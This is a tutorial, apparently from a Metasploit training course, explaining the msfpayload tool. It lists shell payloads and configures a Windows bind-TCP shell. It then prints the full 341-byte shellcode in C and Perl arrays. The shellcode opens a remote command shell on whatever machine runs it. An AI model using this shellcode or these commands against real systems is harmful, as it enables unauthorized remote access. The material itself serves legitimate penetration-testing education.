Msfpayload

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msfpayload is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing a module.

This tool has many different options and variables available to it, but they may not all be fully realized given the limited output in the help banner.

root@kali:~# msfpayload -h
    Usage: /usr/bin/msfpayload []  [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>

OPTIONS:

    -h        Help banner
    -l        List available payloads

How powerful this tool can be is fully seen when showing the vast number of different types of shellcode that are available to be customized for your specific exploit:

root@kali:~# msfpayload -l

Framework Payloads (251 total)
==============================

    Name                                             Description
    ----                                             -----------
    aix/ppc/shell_bind_tcp                           Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                          Spawn a shell on an established connection
    aix/ppc/shell_interact                           Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
    bsd/sparc/shell_bind_tcp                         Listen for a connection and spawn a command shell

...snip...
...snip...

    windows/x64/shell/bind_tcp                       Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged)
    windows/x64/shell/reverse_tcp                    Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged)
    windows/x64/shell_bind_tcp                       Listen for a connection and spawn a command shell (Windows x64)
    windows/x64/shell_reverse_tcp                    Connect back to attacker and spawn a command shell (Windows x64)
    windows/x64/vncinject/bind_tcp                   Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
    windows/x64/vncinject/reverse_tcp                Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)



Once you have selected a payload, there are two switches that are used most often when crafting the payload for the exploit you are creating. In the example below we have selected a simple Windows bind shell. When we add the command-line argument "O" with that payload, we get all of the available configurable options for that payload.

root@kali:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 14774
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 
  sf 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell


As we can see from the output, we can configure three different options with this specific payload, if they are required, if they come with any default settings, and a short description:

  • EXITFUNC
    • Required
    • Default setting: process
  • LPORT
    • Required
    • Default setting: 4444
  • RHOST
    • Not required
    • No default setting


Setting these options in msfpayload is very simple. An example is shown below of changing the exit technique and listening port of the shell:

root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 14774
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 
  sf 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  seh              yes       Exit technique: seh, thread, process, none
LPORT     1234             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell


Now that all of that is configured, the only option left is to specify the output type such as C, Perl, Raw, etc. For this example we are going to output our shellcode as C:

root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";


And here's the same shellcode only this time we'll select Perl:

root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 Perl
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
# InitialAutoRunScript=, AutoRunScript=
my $buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" .
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" .
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" .
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" .
"\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68" .
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" .
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" .
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" .
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" .
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" .
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" .
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" .
"\xff\xd5\xbb\xfe\x0e\x32\xea\x68\xa6\x95\xbd\x9d\xff\xd5" .
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" .
"\x6a\x00\x53\xff\xd5";


Much like the 'generate' command (discussed earlier) inside the Metasploit console, payload options are defined using the "VAR=VAL" format. Now we have our fully customized shellcode to be used in any exploit!